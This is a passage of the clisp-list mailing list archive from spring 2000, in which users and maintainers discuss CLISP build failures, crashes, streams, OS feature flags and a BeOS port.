crufty in places (lots of #+), and I'd prefer having native widgets.

It doesn't work correctly with CLISP: with nclx it seems to miss some
refresh events (windows sometimes stay undrawn), and the logo in the
demos section doesn't display in color. It doesn't work at all with
mit-clx (nor indeed do basic CLX demos): there are problems with setf
functions being hidden by setf-expanders:

when loading garnet:

  WARNING:
  The function (SETF XLIB:GCONTEXT-FUNCTION) is hidden by a SETF expander.
  WARNING:
  The function (SETF XLIB:GCONTEXT-FOREGROUND) is hidden by a SETF expander.
  WARNING:
  The function (SETF XLIB:GCONTEXT-BACKGROUND) is hidden by a SETF expander.
  [...]

then when running:

  *** - FUNCALL: the function #:|(SETF XLIB:WINDOW-PLIST)| is undefined


I think the problem is in the mit-clx/depdefs.lsp:def-clx-class macro,
which seems to be emulating CLOS with structures, but it's too hairy
for me to understand.

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On 16 Mar 2000 10:56:20 +0100, you wrote:

> refresh events (windows sometimes stay undrawn), and the logo in the
> demos section doesn't display in color. It doesn't work at all with

The Garnet logo demo used to work in color for me with CLISP and NCLX, but
I can't confirm it now because I haven't rebuilt Garnet yet.


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Subject: [clisp-list] SPARC/Linux problems

I've been beating my head over this problem. I've compiled three versions
of clisp, with gcc 2.95.2 and gcc 2.7.2.3, and every one has this problem.
Basically lisp.run segfaults. I ran it through some debuging and here is
where gdb picks up the problem:

(gdb) file ./lisp.run
Reading symbols from ./lisp.run...done.
(gdb) run
Starting program: /home/bcollins/clisp-1999-07-22/src/./lisp.run

Program received signal SIGSEGV, Segmentation fault.
0x13764 in gc_mark_stack (objptr=0x2e2ffffc) at spvw_garcol.d:384
384           { until (eq(*objptr,nullobj)) # bis STACK zu Ende ist:
(gdb) bt
#0  0x13764 in gc_mark_stack (objptr=0x2e2ffffc) at spvw_garcol.d:384
#1  0x137c8 in gc_markphase () at spvw_garcol.d:411
#2  0x13e1c in gar_col_normal () at spvw_garcol.d:1594
#3  0x14b44 in do_gar_col_simple () at spvw_garcol.d:2369
#4  0x8cb5c in with_gc_statistics (fun=0x14b38 <do_gar_col_simple>) at predtype.d:2571
#5  0x14b70 in gar_col_simple () at spvw_garcol.d:2397
#6  0x14ce0 in make_space_gc_TRUE (need=40, heapptr=0x13a25c) at spvw_allocate.d:225
#7  0x150d4 in allocate_vector (len=7) at spvw_typealloc.d:94
#8  0x18744 in init_subr_tab_2 () at spvw.d:1161
#9  0x19ec8 in initmem () at spvw.d:1549
#10 0x1b174 in main (argc=1, argv=0xeffffaa4) at spvw.d:2661
(gdb) print *objptr
Cannot access memory at address 0x2e2ffffc.

Any one know what's going on?

Ben

(please Cc me, I am not sub'd to the list)

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Ben Collins writes:

> (gdb) file ./lisp.run
> Reading symbols from ./lisp.run...done.
> (gdb) run
> Starting program: /home/bcollins/clisp-1999-07-22/src/./lisp.run
> 
> Program received signal SIGSEGV, Segmentation fault.
> 0x13764 in gc_mark_stack (objptr=0x2e2ffffc) at spvw_garcol.d:384
> 384           { until (eq(*objptr,nullobj)) # bis STACK zu Ende ist:
> (gdb) bt
> #0  0x13764 in gc_mark_stack (objptr=0x2e2ffffc) at spvw_garcol.d:384
> #1  0x137c8 in gc_markphase () at spvw_garcol.d:411
> #2  0x13e1c in gar_col_normal () at spvw_garcol.d:1594
> #3  0x14b44 in do_gar_col_simple () at spvw_garcol.d:2369
> #4  0x8cb5c in with_gc_statistics (fun=0x14b38 <do_gar_col_simple>) at predtype.d:2571
> #5  0x14b70 in gar_col_simple () at spvw_garcol.d:2397
> #6  0x14ce0 in make_space_gc_TRUE (need=40, heapptr=0x13a25c) at spvw_allocate.d:225
> #7  0x150d4 in allocate_vector (len=7) at spvw_typealloc.d:94
> #8  0x18744 in init_subr_tab_2 () at spvw.d:1161
> #9  0x19ec8 in initmem () at spvw.d:1549
> #10 0x1b174 in main (argc=1, argv=0xeffffaa4) at spvw.d:2661

The GC crashed already during the very first memory allocation. I guess the
address space layout is different on your Sparc than on mine. What is the
output of "grep cl_cv_address_ config.cache" on yours?

Bruno


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On my machine I get

$ grep cl_cv_address_ config.cache
cl_cv_address_code=${cl_cv_address_code='0x00000000'}
cl_cv_address_malloc=${cl_cv_address_malloc='0x00000000'}
cl_cv_address_shlib=${cl_cv_address_shlib='0xE0000000'}
cl_cv_address_stack=${cl_cv_address_stack='0xEF000000'}

And on yours?


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> 
> The GC crashed already during the very first memory allocation. I guess the
> address space layout is different on your Sparc than on mine. What is the
> output of "grep cl_cv_address_ config.cache" on yours?
> 

cl_cv_address_code=${cl_cv_address_code=0x00000000}
cl_cv_address_malloc=${cl_cv_address_malloc=0x00000000}
cl_cv_address_shlib=${cl_cv_address_shlib=0x70000000}
cl_cv_address_stack=${cl_cv_address_stack=0xEF000000}

Note, I've tried this on two machines. Setup as follows:

UltraSPARC, 128 megs
SPARCStation LX, 72 megs

Both had the problem. Note, I compiled it on the ultrasparc every time, but
I made sure that it was in a sparc32 environement (wrapper to change the
persoanlity to sparc32, to fool autoconf, etc..).

I can try compiling on the sun4m a little later.

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On Mon, Mar 20, 2000 at 03:33:21PM +0100, Bruno Haible wrote:
> On my machine I get
> 
> $ grep cl_cv_address_ config.cache
> cl_cv_address_code=${cl_cv_address_code='0x00000000'}
> cl_cv_address_malloc=${cl_cv_address_malloc='0x00000000'}
> cl_cv_address_shlib=${cl_cv_address_shlib='0xE0000000'}
> cl_cv_address_stack=${cl_cv_address_stack='0xEF000000'}
> 

I tried hand editing to have this same setup (only the shlib one was
different). Yet it still didn't work. Seems the problem is in the stack
address anyway, which showed as the same on both yours and mine.

Extra info, these systems are 2.2.14, 2.2.15 (and even tried 2.3.99-pre2)
and use glibc 2.1.3 (problem has been present since glibc 2.1.1, for me
atleast, so I doubt that has anything to do with it).

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Subject: [clisp-list] Program stack overflow on W32

Hi,

I have been running a program in an old CLISP on SuSE Linux with no
problems except a lot of paging (CLISP 1997-05-03) - I'm using the -W
argument to get extended addressing (the program is a search that requires
20,000 saved states for backtracking).

To get completion more quickly (and to save the disk on my laptop, which
was getting rather warm), I downloaded a new CLISP binary (1999-07-22) for
a machine I have that runs NT.  However, this gives an error ("Program
Stack Overflow") soon (within about half an hour - the program should run
for maybe 4 or 5 hours) after starting (when total memory used has
increased to just over 100Mb - the machine is configured to have up to 1Gb
virtual memory).  I don't know if this is relevant, but it seems that the
-W switch no longer exists (it is not documented and the error occurs with
or without it).

How can I get the program to run on the NT machine (which is faster and has
more memory than my old laptop)?  Is this a problem with different versions
of CLISP or different OS?

The search uses code based on Norvig's examples (in the Lisp book) - the
main search routine is tail recursive and this problem occurs shortly after
2000 recursions (memory use becomes flat instead of a slight ramp with
ripples, and cpu use drops from 100% to a noisy ~20% a few minutes before
failure - it looks as though a memory limit is being hit).  Is tail
recursion not being optimized out (the same code works on the old
CLISP/Linux up to at least 20,000 iterations)?

Thanks,
Andrew

PS I searched c.l.l and had a look at recent posts on this archive (also
searched for program stack) and couldn't find an answer.

http://www.andrewcooke.free-online.co.uk/index.html



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Message says it all.

I have *FEATURES* on Solaris (it has at least the :UNIX feature I
need).

What are the OS tags (i.e. features) for CLisp on other OS'es?
Moreover: are the tags different for Windows98 and WNT?

Thanks

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Marco Antoniotti writes:

> I have *FEATURES* on Solaris (it has at least the :UNIX feature I
> need).
> 
> What are the OS tags (i.e. features) for CLisp on other OS'es?

See http://clisp.sourceforge.net/impnotes.html#features

> Moreover: are the tags different for Windows98 and WNT?

No. But you can copy Sam's trick from clocc/src/port/sys.lsp, function
sysinfo.

Bruno


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>>>> In message <200003211517.QAA22807@copernico.parades.rm.cnr.it>
>>>> On the subject of "[clisp-list] Features list on Windows and other OSs (other than Solaris)"
>>>> Sent on Tue Mar 21 10:18:53 EST 2000
>>>> Honorable Marco Antoniotti <marcoxa@parades.rm.cnr.it> writes:
 >> 
 >> What are the OS tags (i.e. features) for CLisp on other OS'es?

see clocc/src/port/sys.lsp (defun sysinfo) and
clisp/src/spvw.d

 >> Moreover: are the tags different for Windows98 and WNT?

no, it's :win32 for both of them.

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Els Ducheyne writes:
> Hello
> I have downloaded Clips for win32 but know I don't have any idea what to 
> do. In your readme file you tell that I need to change
> "strings" in the config.lsp but I don't know what strings you refer to. I 
> have tried to compile the file as it is but then i received a message that 
> the function compile-file was empty.
> 
> Could you please help me as soon as possible
> 
> Thanks in advance
> 
> Yours sincerly
> Els Ducheyne

Hello,

You don't really need to change these strings, it's optional. Simply
starting "lisp.exe -M lispinit.mem" will run clisp. Don't forget this
"-M lispinit.mem" option; without it, defun and compile-file are not
defined.

Bruno


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Ok, I recompiled this on a sun4m (Sparc LX) and still have the same
problem with segfault I reported a couple of days ago. Anyone else have
any suggestions/soltuions?

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Thanks

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Subject: [clisp-list] clisp problem with ignore-errors compiled?

This is the top level function from the webserver I posted:
(defun start-server (&key (port 8000))
  ;; start the web server running on the given port.
  ;; Note that on unix, ports below 1024 can only be obtained by
  ;; programs running as root.
  ;; The default port number for web browsers is 80, to use any other
  ;; port number in a url you have to put that port number after the
  ;; machine name as in    http://www.foo.com:8000/the/url/I/want
  ;;
  (let ((websocket ;; *** generalize from ACL
	 #+clisp (lisp:socket-server port)
	 #+allegro (socket:make-socket :connect :passive :local-port port)))
    (unwind-protect
	(loop
	 ;; It turns out that all the stream operations can and in
	 ;; practice do generate errors.
	 ;; The practical solution is to put an ignore-errors
	 ;; at a pretty high level.
	  (multiple-value-bind (ignore err) ;; ***
            (ignore-errors	       
              (let ((connection ;; *** generalize from ACL
		     #+clisp (lisp:socket-accept websocket)
		     #+allegro (socket:accept-connection websocket)))
		(unwind-protect
		    (do-command connection
				#'(lambda () (return-from start-server)))
		  (close connection))))
	    (declare (ignore ignore))
	    (when err (log- "~%error : ~A" err))))
      ;; *** generalize from ACL
      #+clisp (lisp:socket-server-close websocket)
      #+allegro (close websocket))))

Note the do-command inside the ignore-errors.  When I run this
compiled I get breaks, and when I type "where" I see that I'm 
in do-command.  If I interpret this code things work.  Do you
have any immediate suspects or do you want further data? 
If so, what should I send you?


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Don Cohen writes:
> This is the top level function from the webserver I posted:
 [...]
> Note the do-command inside the ignore-errors.  When I run this
> compiled I get breaks, and when I type "where" I see that I'm 
> in do-command.  If I interpret this code things work.

Looks fishy. Can you send a complete backtrace [i.e. (setq *print-circle* t)
then backtrace-1]? Also, what's the value of sys::*use-clcs* inside the break
loop?

Bruno


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Sorry, I think I know what I did ...


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>>>> In message <200003221615.LAA02496@we-24-130-53-144.we.mediaone.net>
>>>> On the subject of "[clisp-list] clisp problem with ignore-errors compiled?"
>>>> Sent on Wed Mar 22 14:14:28 EST 2000
>>>> Honorable Don Cohen <donc@compsvcs.com> writes:
...
 >> 	 #+clisp (lisp:socket-server port)
 >> 	 #+allegro (socket:make-socket :connect :passive :local-port port)))
...
 >> 		     #+clisp (lisp:socket-accept websocket)
 >> 		     #+allegro (socket:accept-connection websocket)))
...
 >>       #+clisp (lisp:socket-server-close websocket)
 >>       #+allegro (close websocket))))

you might want to use clocc/src/port/net.lsp

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Hello!

I am writing a text editor in lisp. I try to do it as
platform and implementation independent as possible.
But I need some functionality that I can't find in any
description of the lisp standard. Can you help me?

1. I need to receive unbuffered keystrokes from the user,
i.e. without having to pressing Enter. I know CLISP has
*keyboard-input*, but how can this be done more
implementation independently?

2. Is there some way to get the number of text rows and
columns currently displayed on the screen? I don't want
to rely on packages such as Curses, if it exists for LISP.

3. Is it any method for catching 'out of memory' errors,
so that the program can flush the line buffer to disk,
and continue to function?

Many thanks in advance, David Kaasen.



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>>>> In message <Pine.LNX.4.21.0003231053520.8441-100000@hagbart.nvg.ntnu.no>
>>>> On the subject of "[clisp-list] Some problems"
>>>> Sent on Thu Mar 23 07:44:46 EST 2000
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 >> I am writing a text editor in lisp. I try to do it as
 >> platform and implementation independent as possible.
 >> But I need some functionality that I can't find in any
 >> description of the lisp standard. Can you help me?

you would be much better off not using the terminal.

you might want to look at CL-based web browser closure, available at
<http://www.uni-karlsruhe.de/~unk6/>. 

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David Kaasen writes:

> 1. I need to receive unbuffered keystrokes from the user,
> i.e. without having to pressing Enter. I know CLISP has
> *keyboard-input*, but how can this be done more
> implementation independently?

There is no portable common model for keyboard handling; it's
too different in Unix and DOS/Windows. Portable GUI toolkits use
keyboard events, not simple streams, but then you are programming
GUI.

> 2. Is there some way to get the number of text rows and
> columns currently displayed on the screen?

In clisp, the number of columns on the screen is (1+ sys::*prin-linelength*).

> I don't want to rely on packages such as Curses, if it exists for LISP.

But ncurses is portable across Unixes.

> 3. Is it any method for catching 'out of memory' errors,
> so that the program can flush the line buffer to disk,
> and continue to function?

No.

Bruno


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Subject: [clisp-list] compiling clg

Ok.  I grabbed clg-0.50 and tried to compile.  On my box at work it complied
perfectly on the first try and runs great.  At home, though, (where I need it,
of course) it won't compile.  Here's the problem:

. . .
;; Loading of file ../tools/build.lisp is finished.
T
rm -rf clisp-gtk
/usr/lib/clisp//clisp-link add-module-set . /usr/lib/clisp//base clisp-gtk
make[2]: Entering directory `/home/thomg/lisp/packages/clg-0.50/clisp'
make[2]: Nothing to be done for `clisp-module'.
make[2]: Leaving directory `/home/thomg/lisp/packages/clg-0.50/clisp'
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
-fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE
-DEXPORT_SYSCALLS -DDYNAMIC_FFI -DDYNAMIC_MODULES -fPIC
-I/usr/lib/clisp/linkkit -c modules.c
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
-fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE
-DEXPORT_SYSCALLS -DDYNAMIC_FFI -DDYNAMIC_MODULES -fPIC -x none
-Wl,-export-dynamic modules.o gforeign.o glib.o gdk.o gtktypes.o gtk.o
../cl-gtk.o -L/usr/lib -L/usr/X11R6/lib -lgtk -lgdk -rdynamic -lgmodule -lglib
-ldl -lXext -lX11 -lm lisp.a libsigsegv.a libintl.a libreadline.a libavcall.a
libcallback.a -lncurses -ldl -o lisp.run
/usr/bin/ld: cannot find -lncurses
collect2: ld returned 1 exit status
. . .

It then craps out a few minutes later because lisp.run is missing.  I can hand
execute that gcc command by adding my ncurses.so.5.0 file to the list of
shared libraries.  Unfortunately, I can't find where I can make this
modification in the Makefile (or wherever it needs to be done).

Oh, and yes:

[thomg@goodsell clg-0.50]$ /sbin/ldconfig -p | grep ncur
        libncurses.so.5.0 (libc6) => /usr/lib/libncurses.so.5.0
        libncurses.so.5 (libc6) => /usr/lib/libncurses.so.5
        libncurses.so.5 (libc6) => /lib/libncurses.so.5
        libncurses.so.4.2 (libc6) => /lib/libncurses.so.4.2
        libncurses.so.4 (libc6) => /lib/libncurses.so.4
        libncurses.so.3.0 (libc5) =>
/usr/i486-linux-libc5/lib/libncurses.so.3.0
        libncurses.so.3.0 (libc6) => /lib/libncurses.so.3.0
        libncurses.so.3 (libc6) => /lib/libncurses.so.3
        libncurses.so.1.9.9e (libc6) => /lib/libncurses.so.1.9.9e
        libncurses.so.1 (libc6) => /lib/libncurses.so.1

Any ideas?

Thom Goodsell
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I notice that when I do this
   (setf (stream-element-type stream) '(unsigned-byte 8))
the function LISTEN always returns NIL.
CLHS says of listen:
  Returns true if there is a character immediately available from input-stream

I'd have thought that it would also return true if a byte was
available.  How am I supposed to find out whether there's a byte
available?  I notice there's a read-char-no-hang but there seems
to be no read-byte-no-hang.



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Thank you for your kind reply. =)
I've try out /usr/local/lib/full/lisp.run in xwin but got an error
message:
----------------------------------
/usr/local/lib/clisp/full/lisp.run
module `clx' requires package XPM.
----------------------------------

I'm sure I have the current xpm library installed. What's the problem?

Regards
	John

On Sun, 26 Mar 2000, Sam Steingold wrote:

> "John T. H. Wong" wrote:
> > 
> >     I've installed clisp and now learning lisp with it. It's fantastic!
> 
> I am glad to hear this!
> 
> >     I have one question that i can't find the answer from documentation
> > and the web site, i.e. the difference & usage of
> > /usr/local/lib/clisp/base and /usr/local/lib/clisp/full
> 
> base is the "base" build, which includes just the basic CL.
> fill includes many more modules, the exact set depends on your build.
> You can find out the difference by examining the *features* variable.
> 
> What system are you using? How did you build CLISP?
> if you did something like
> 
> ./configure --with-module=ABC --with-module=DEF --with-module=GHI
> 
> then base is just the vanilla CL and full contains ABC, DEF and GHI 
> in addition to the basic CL.
> 
> >     Can i remove any one of them?
> 
> they are independent, so you can remove one if you are only using the
> other.
> 
> If you are using CLISP, you should subscribe to clisp-list mailing list
> and ask 
> your questions there - this way more people are available to answer them
> and you
> might benefit from the questions others ask and answer.
> Please visit http://clisp.cons.org to subscribe to the list.
> 
> Happy Lisping!
> 



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Don Cohen writes:
> I notice that when I do this
>    (setf (stream-element-type stream) '(unsigned-byte 8))
> the function LISTEN always returns NIL.
> CLHS says of listen:
>   Returns true if there is a character immediately available from input-stream

Yuck. Reading a character and reading a byte are different things. In
previous versions, clisp behaved as you expected, because characters were
1 byte long.

> I'd have thought that it would also return true if a byte was
> available.  How am I supposed to find out whether there's a byte
> available?

There is no standardized function that permits you to do so.

Bruno


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Wong Tsun Hin John writes:
> 
> Thank you for your kind reply. =)
> I've try out /usr/local/lib/full/lisp.run in xwin but got an error
> message:
> ----------------------------------
> /usr/local/lib/clisp/full/lisp.run
> module `clx' requires package XPM.
> ----------------------------------

The documented way to use a particular binary (see clisp.1 and clisp.html)
is through the "-K" option. Please try:

clisp -K full

Bruno


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>>>> In message <Pine.GSO.4.10.10003271006400.11257-100000@alumni.hkucs.org>
>>>> On the subject of "[clisp-list] Re: CLISP files usage question"
>>>> Sent on Sun Mar 26 21:22:07 EST 2000
>>>> Honorable Wong Tsun Hin John <thjwong@hkucs.org> writes:
 >> Thank you for your kind reply. =)
 >> I've try out /usr/local/lib/full/lisp.run in xwin but got an error
 >> message:
 >> ----------------------------------
 >> /usr/local/lib/clisp/full/lisp.run

you are supposed to use the wrapper /usr/local/bin/clisp
to run CLISP, try `clisp --help` (you want -K option)

 >> module `clx' requires package XPM.
 >> ----------------------------------
 >> 
 >> I'm sure I have the current xpm library installed. What's the problem?

please specify
 - OS type and version (e.g., Solaris 2.5.1, Linux 2.2.4)
  - in case of Linux, the distribution name and version (e.g., RedHat 5.1)
 - CLISP version (e.g., 2000-03-06) and type (release or snapshot, if
   unsure, specify the place where you got it from)
 - How you compiled CLISP (the exact command line)
 - How you installed XMP

Thanks.

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  Bruno Haible
  Don Cohen writes:
  > I notice that when I do this
  >    (setf (stream-element-type stream) '(unsigned-byte 8))
  > the function LISTEN always returns NIL.
  > CLHS says of listen:
  >   Returns true if there is a character immediately available from input-stream
  
  Yuck. Reading a character and reading a byte are different things. In
  previous versions, clisp behaved as you expected, because characters were
  1 byte long.
  
  > I'd have thought that it would also return true if a byte was
  > available.  How am I supposed to find out whether there's a byte
  > available?
  
  There is no standardized function that permits you to do so.
  
  Bruno
  
Even in previous versions it seems to me that characters could not
always be one byte long, due to newline encoding.  If you see a CR
but nothing more, you can't say there's a character ready, cause you 
don't know whether it will be followed by LF.  Depending on the
next character you either want read-char to return #\return or 
#\newline.  Or do you take another approach here?

I suggest that when the stream element type is not character, the
listen function still return true if there is enough data available
to return the next element.  It's hard to believe that was not the
intention of the spec.

At the moment the way I (try to) see whether there is any data on my
stream is to set the stream element type to character and listen.
Unfortunately, it looks to me like that may fail in the CR case above.


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when removing a package under win32, one has to manually(!!!) remove all
references to the package from the registry (this is not always
necessary, but I found that it might be - for some packages).

clisp provides sys::registry which looks in HKEY_LOCAL_MACHINE only and
supports only strings.  It would be nice if sys::registry were exported
and took wildcards/regexps as either argument, and if it were setfable.

I cannot do it - I know nothing about the win32 API...

[some time ago I discussed making sys::getenv setfable with Bruno.
 I don't remember why, but Bruno was opposed to it - Bruno, if you
 changed your mind, I will gladly do it :-]

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Hi

I am trying to compile the latest release from the source on a Solaris
2.5.1 system.  I am trying to use both SUNSWPro cc and gcc 2.7.2.2.

However, as soon as I issue the configure command

marcoxa@galileo:clisp 80> ./configure --prefix=$HOME
executing src/configure ...
creating cache ./config.cache
checking for gcc... cc
checking whether the C compiler (cc  ) works... yes
checking whether the C compiler (cc  ) is a cross-compiler... no
checking whether we are using GNU C... no
checking how to run the C preprocessor... /usr/ccs/lib/cpp
checking for AIX... no
checking whether using GNU C... no
checking whether using C++... no
checking whether using ANSI C... no

I.e. somehow the C compiler is not recognized as ANSI.  Doing a
'setenv CC "gcc -ansi"' does not help either.

The configuration process completes without problems, however, when I
finally 'cd' into the 'src' directory and issue

	makemake ....

I get

        Pre-ANSI-C compilers are not supported.

which would seem to be a direct consequence of configuration process.

I did try many times by removing all the config.cache and
config.status, but couldn't get past the initial "error".

Any idea about how to fix this?

Cheers

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>>>> In message <200003301713.TAA09873@galileo.parades.rm.cnr.it>
>>>> On the subject of "[clisp-list] CLisp configure and ANSI C compilers"
>>>> Sent on Thu Mar 30 13:23:09 EST 2000
>>>> Honorable Marco Antoniotti <marcoxa@galileo.parades.rm.cnr.it> writes:
 >> 
 >> I am trying to compile the latest release from the source on a Solaris
 >> 2.5.1 system.  I am trying to use both SUNSWPro cc and gcc 2.7.2.2.

I just built the current snapshot on solaris 2.5.1 with gcc 2.95.2, the
binary distribution is available in ftp://cellar.goems.com/ftp/pub/clisp/

this, of course, doesn't answer your question...

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Marco Antoniotti writes:
> 
> Hi
> 
> I am trying to compile the latest release from the source on a Solaris
> 2.5.1 system.  I am trying to use both SUNSWPro cc and gcc 2.7.2.2.
> 
> However, as soon as I issue the configure command
> 
> marcoxa@galileo:clisp 80> ./configure --prefix=$HOME
> executing src/configure ...
> creating cache ./config.cache
> checking for gcc... cc
> checking whether the C compiler (cc  ) works... yes
> checking whether the C compiler (cc  ) is a cross-compiler... no
> checking whether we are using GNU C... no
> checking how to run the C preprocessor... /usr/ccs/lib/cpp
> checking for AIX... no
> checking whether using GNU C... no
> checking whether using C++... no
> checking whether using ANSI C... no

This is a little bit odd. The SUNWspro cc _is_ an ANSI C compiler. I get
on SPARC Solaris 2.5.1, with CC set to "cc":

creating cache ./config.cache
checking for gcc... cc
checking whether the C compiler (cc  ) works... yes
checking whether the C compiler (cc  ) is a cross-compiler... no
checking whether we are using GNU C... no
checking how to run the C preprocessor... cc -E
checking for AIX... no
checking whether using GNU C... no
checking whether using C++... no
checking whether using ANSI C... yes

> I.e. somehow the C compiler is not recognized as ANSI.

A look in config.log should reveal why.

> Doing a 'setenv CC "gcc -ansi"' does not help either.

And simply not setting CC at all? Should find gcc and use it.

> I did try many times by removing all the config.cache and
> config.status, but couldn't get past the initial "error".

To really remove all traces from previous builds, I recommend "make distclean".
config.cache and config.status are the most important files to remove, but
there are some others.

Other than that, you should be able to use the Solaris binaries in

  ftp://clisp.cons.org/pub/lisp/clisp/binaries/2000-03-06/
  ftp://clisp.sourceforge.net/pub/clisp/2000-03-06/

(Solaris 2.4 binaries are usable on Solaris 2.5.1 or newer. But not on
Solaris 2.5, because that release lacks the support for clisp's generational
GC.)

Bruno


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> Delivery-Date: Thu, 30 Mar 2000 21:38:10 +0200
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> Marco Antoniotti writes:
> > 
> > Hi
> > 
> > I am trying to compile the latest release from the source on a Solaris
> > 2.5.1 system.  I am trying to use both SUNSWPro cc and gcc 2.7.2.2.
> > 
> > However, as soon as I issue the configure command
> > 
> > marcoxa@galileo:clisp 80> ./configure --prefix=$HOME
> > executing src/configure ...
> > creating cache ./config.cache
> > checking for gcc... cc
> > checking whether the C compiler (cc  ) works... yes
> > checking whether the C compiler (cc  ) is a cross-compiler... no
> > checking whether we are using GNU C... no
> > checking how to run the C preprocessor... /usr/ccs/lib/cpp
> > checking for AIX... no
> > checking whether using GNU C... no
> > checking whether using C++... no
> > checking whether using ANSI C... no
> 
> This is a little bit odd. The SUNWspro cc _is_ an ANSI C compiler. I get
> on SPARC Solaris 2.5.1, with CC set to "cc":

I agree.  It is very odd.

> A look in config.log should reveal why.

Not really.

> > Doing a 'setenv CC "gcc -ansi"' does not help either.
> 
> And simply not setting CC at all? Should find gcc and use it.

That's the first thing I tried.

> > I did try many times by removing all the config.cache and
> > config.status, but couldn't get past the initial "error".
> 
> To really remove all traces from previous builds, I recommend "make
> distclean".
> config.cache and config.status are the most important files to remove, but
> there are some others.

Ok.  Let me try that.

> 
> Other than that, you should be able to use the Solaris binaries in
> 
>   ftp://clisp.cons.org/pub/lisp/clisp/binaries/2000-03-06/
>   ftp://clisp.sourceforge.net/pub/clisp/2000-03-06/
> 
> (Solaris 2.4 binaries are usable on Solaris 2.5.1 or newer. But not on
> Solaris 2.5, because that release lacks the support for clisp's generational
> GC.)

Good.  If worse comes to worse, I will just grab the binaries.

Cheers

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> To really remove all traces from previous builds, I recommend "make
> distclean". config.cache and config.status are the most important
> files to remove, but there are some others.

Ooops.  I just realized that I did not generate the Makefile :)

Cheers


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Arcana discovered.

By looking at the autoconf/*.m4 files, I got the hint to look at the
CPP checks (in particular to AC_EGREP_CPP check called by CL_CC_ANSI).
It turns I had a CPP environment variable set to /usr/css/lib/cpp, the
Sun CPP.  Somehow this CPP made the system fail the ANSI test.

Removing the variable from the environment cause the configure script
to use 'gcc -E' as C preprocessor, and the ANSI check succeded.

Let's see if I will be able to generate the Makefile and compile now.

Cheers

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One more data point.

With SUNSWPro cc I get the following warnings.

touch tests.passed.sparc-sun-solaris2.5.1
cc  -I. -I../../ffcall/callback -S ../../ffcall/callback/minitests.c
"../../ffcall/callback/tests.c", line 107: warning: initializer does not fit or is out of range: -1
"../../ffcall/callback/tests.c", line 274: warning: initializer does not fit or is out of range: -1
"../../ffcall/callback/tests.c", line 399: warning: non-constant initializer: op "+="
"../../ffcall/callback/tests.c", line 409: warning: non-constant initializer: op "+="
"../../ffcall/callback/tests.c", line 410: warning: non-constant initializer: op "+="


... more of the same



"../../ffcall/callback/tests.c", line 703: warning: non-constant initializer: op "+="
"../../ffcall/callback/tests.c", line 704: warning: non-constant initializer: op "+="
cc  -I. -I../../ffcall/callback -c ../../ffcall/callback/minitests.c
"../../ffcall/callback/tests.c", line 107: warning: initializer does not fit or is out of range: -1
"../../ffcall/callback/tests.c", line 274: warning: initializer does not fit or is out of range: -1
"../../ffcall/callback/tests.c", line 399: warning: non-constant initializer: op "+="
"../../ffcall/callback/tests.c", line 409: warning: non-constant initializer: op "+="
"../../ffcall/callback/tests.c", line 410: warning: non-constant initializer: op "+="

... more of the same...


"../../ffcall/callback/tests.c", line 703: warning: non-constant initializer: op "+="
"../../ffcall/callback/tests.c", line 704: warning: non-constant initializer: op "+="
/bin/sh ./libtool --mode=link cc   minitests.o libcallback.la -o minitests
cc minitests.o .libs/libcallback.a -o minitests
./minitests > minitests.out

Just to let you know.

Cheers

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- what common lisp implementations other than clisp don't have
multithreading - If I donate to clocc something specifically useful
for such implementations is there any point to generalizing it beyond
clisp?

- what's the difference between the clisp license and the GPL?
I see the difference in the text but I'm having a hard time
understanding the implications.

- does clisp run on any machines that support larger than 32 bit
address spaces?  (other than in a mode that restricts it to 32 bit
address space, of course); what are the prospects?
I've been hoping for many years now that something like 64 bit VM
would make ap5 useful for what is now the domain of "real" databases.
Probably the real question is whether the GC will work well for such
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>>>>> "Don" == Don Cohen <don@nichimen.com> writes:

    Don> - what common lisp implementations other than clisp don't have
    Don> multithreading - If I donate to clocc something specifically useful
    Don> for such implementations is there any point to generalizing it beyond
    Don> clisp?

CMUCL has multi-threading only on x86.  I would think all of the
commercial lisps have multi-threading.

Ray


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Binaries and source of CLISP for BeOS 5 are available at

   ftp://clisp.cons.org/pub/lisp/clisp/binaries/i586-beos/

This is based on a snapshot of clisp, but should be as reliable as the
previous 2000-03-06 release.

Part of the work was done in collaboration with Alexis Rivera Rios,
at that time on BeOS 4.5, but we had problems because the gcc shipped
with that BeOS version was not a stable released version of gcc.

When building from source, I encountered a problem: After compilation
of some Lisp file, the command to rebuild the image, of the form

   ./lisp.run ....... -x "(load \"init.lisp\")"

crashes. To fix this, replace lisp.run by a copy of itself (run
"clean lisp.run" - see below), and rerun "make". I would be interested
in hearing whether this problem appears in real use as well, or only
while building clisp.

Enjoy CLISP. I enjoy BeOS.

                     Bruno



====================== /boot/home/config/bin/clean =======================
#!/bin/sh
# Usage: clean executable
if test $# != 1; then
  echo "Usage: clean executable" 1>&2
  exit 1
fi
cp -p "$1" "$1.tmp"
mv "$1.tmp" "$1"
==========================================================================


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Great! I got some diffs from Alexis a little while ago and succeeded in 
reproducing the problems she (I apologize if Alexis is a he!!??) had but 
could not make much progress.  I'm glad for both of us that you don't think 
it was our fault!
Thanks for working on this, both of you.

Travis

At 06:56 PM 4/3/00 +0200, Bruno Haible wrote:

>Binaries and source of CLISP for BeOS 5 are available at
>
>    ftp://clisp.cons.org/pub/lisp/clisp/binaries/i586-beos/
>
>This is based on a snapshot of clisp, but should be as reliable as the
>previous 2000-03-06 release.
>
>Part of the work was done in collaboration with Alexis Rivera Rios,
>at that time on BeOS 4.5, but we had problems because the gcc shipped
>with that BeOS version was not a stable released version of gcc.
>
>When building from source, I encountered a problem: After compilation
>of some Lisp file, the command to rebuild the image, of the form
>
>    ./lisp.run ....... -x "(load \"init.lisp\")"
>
>crashes. To fix this, replace lisp.run by a copy of itself (run
>"clean lisp.run" - see below), and rerun "make". I would be interested
>in hearing whether this problem appears in real use as well, or only
>while building clisp.
>
>Enjoy CLISP. I enjoy BeOS.
>
>                      Bruno
>
>
>
>====================== /boot/home/config/bin/clean =======================
>#!/bin/sh
># Usage: clean executable
>if test $# != 1; then
>   echo "Usage: clean executable" 1>&2
>   exit 1
>fi
>cp -p "$1" "$1.tmp"
>mv "$1.tmp" "$1"
>==========================================================================


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<html>
Great! I got some diffs from Alexis a little while ago and succeeded in
reproducing the problems she (I apologize if Alexis is a he!!??) had but
could not make much progress.&nbsp; I'm glad for both of us that you
